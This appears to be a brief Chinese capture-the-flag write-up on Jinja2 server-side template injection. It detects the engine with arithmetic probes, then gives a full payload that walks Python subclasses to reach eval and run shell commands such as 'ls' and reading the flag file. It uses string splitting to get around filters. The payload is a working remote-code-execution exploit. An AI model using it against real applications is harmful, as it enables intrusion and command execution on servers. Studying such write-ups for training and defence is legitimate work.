按照提示随便传一个:?name=123
可能存在模板渲染,检测一下:?name=${2*7}
?name={{7*7}}
?name={{7*'7'}}
发现是 jinja2 渲染
看一下所有的类:?name={{[].__class__.__base__.__subclasses__()}}
可以一点一点的往下找,也可以直接写payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'ev'+'al' in b.keys() %}
{{ b['ev'+'al']('__import__("o"+"s").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
直接拿flagpopen("cat flllll11111114aaaaaggggggggggggg").read()